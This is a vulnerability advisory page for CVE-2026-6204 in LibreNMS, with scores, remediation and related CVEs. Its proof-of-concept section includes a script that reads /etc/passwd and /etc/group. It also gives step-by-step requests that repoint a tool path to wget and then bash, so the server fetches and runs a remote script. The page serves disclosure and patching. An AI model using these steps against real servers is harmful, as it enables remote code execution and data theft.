Skip to main content

CVE-2026-6204 — Vulnerability in librenms/librenms — CVE Details

HIGH

LibreNMS is Vulnerable to Remote Code Execution by Arbitrary File Write

Published March 26, 2026Updated April 14, 2026Source: OSV

What Should I Do?

Address in Next Maintenance Window

Low exploitation probability (0.97%). Schedule for your next planned update.

Does your project use an affected librenms/librenms version?

Paste your composer.lock to check it for CVE-2026-6204 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.

Check my composer.lock

Summary

Summary

A vulnerability has been identified that allows an authenticated administrator to execute arbitrary code on the host server. By modifying the binary path settings for built-in network tools and bypassing an input filter, an attacker with administrative privileges can download and execute malicious payloads.

Details

The application allows administrative users to configure the absolute binary paths for network diagnostic tools at /settings/external/binaries. This setting does not sufficiently validate ensuring the paths remain restricted to safe, intended executables. These tools are invoked by sending a request to the GET /ajax/netcmd endpoint. While there is an existing input filter designed to restrict arguments to valid IP addresses or hostnames, this filter can be bypassed.

PoC

To reproduce this vulnerability, a remote HTTP server should be hosted with a malicious script/executable, ensure the remote server is reachable by the server running LibreNMS. The PoC will use the file malicious.sh containing the following content. It will return the content of /etc/passwd and /etc/group, current working directory, username that is running the script, and it will list files of the current directory.

#!/usr/bin/env bash

cat /etc/passwd
cat /etc/group
whoami
pwd
ls
  1. Host a remote HTTP server that the server can reach and place the malicious script on the remote server. For demonstration, I will start it on localhost.

  2. Make sure the malicious script malicious.sh can be downloaded.

  3. Login with an admin account and navigate to Global Settings -> External -> Binary Locations

  4. Change the whois binary path to the path of wget (e.g. /usr/bin/wget).

  5. Send the request GET /ajax/netcmd?cmd=whois&query={remote http server's ip address}/malicious.sh. The response should contain wget's output, and malicious.sh would be downloaded by the server.

  6. After that, change the whois binary path to the path of bash (e.g. /bin/bash).

  7. Send the request GET /ajax/netcmd?cmd=whois&query=malicious.sh to execute the script.

Impact

This vulnerability allows a malicious actor to achieve Remote Code Execution (RCE), potentially leading to complete system compromise, data exfiltration, or lateral movement within the network.

Remediation Advice

Loading Binary Path from a config file instead of exposing settings in WebUI can eliminate this issue. If it is not possible, enforcing more validations and fix the ip_or_hostname bypass in https://github.com/librenms/librenms/blob/master/app/Providers/AppServiceProvider.php#L169 to reduce the risk of RCE.

Prerequisite

The attacker must have a valid Administrator account to exploit this vulnerability.

Advisory Timeline

  • First published March 26, 2026 (245 days ago).
  • Last revised April 14, 2026 — 19 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update librenms/librenms to 26.3.0 or later
composer require "librenms/librenms:^26.3.0"

After upgrading, scan your dependencies again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: Packagist (1).

PackageFixed In
librenms/librenms Packagist · Affected: 1.48, 1.48.1, 1.49, 1.50 (+107 more)26.3.0

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-78
    OS Command InjectionMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 6.5 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Frequently Asked Questions

What is CVE-2026-6204?
LibreNMS is Vulnerable to Remote Code Execution by Arbitrary File Write. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 6.5/10).
How do I check if my project is affected by CVE-2026-6204?
CVE-2026-6204 affects librenms/librenms. It has a 1.0% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-6204 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
6.5

Exploitation requires specific conditions, or the impact is limited.

EPSS Score (30-day exploit probability)
0.97%
EPSS percentile: 60.5

This is an above-median EPSS score — 60.5% of tracked vulnerabilities score at or below it, putting its exploitation likelihood in the upper half of the tracked corpus.

Also Known As

GHSA-pr3g-phhr-h8fh

Related CVEs

  • CVE-2022-4070
    CRITICAL

    Insufficient Session Expiration in librenms/librenms

  • CVE-2026-84192
    HIGH

    LibreNMS — Stored XSS via SNMP/Syslog Data in Legacy Templates

  • CVE-2024-49759
    HIGH

    Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/edituser.inc.php

  • CVE-2024-52526
    HIGH

    LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/device/services.inc.php

  • CVE-2024-50350
    HIGH

    LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/app/Http/Controllers/Table/EditPortsController.php

  • CVE-2025-62365
    MEDIUM

    LibreNMS is vulnerable to Reflected-XSS in `report_this` function

  • CVE-2026-26992
    MEDIUM

    LibreNMS /port-groups name Stored Cross-Site Scripting

  • CVE-2024-47528
    LOW

    LibreNMS vulnerable to Stored Cross-site Scripting via File Upload

Check your own dependencies

Free, with no signup for up to 10 packages.

Check my composer.lock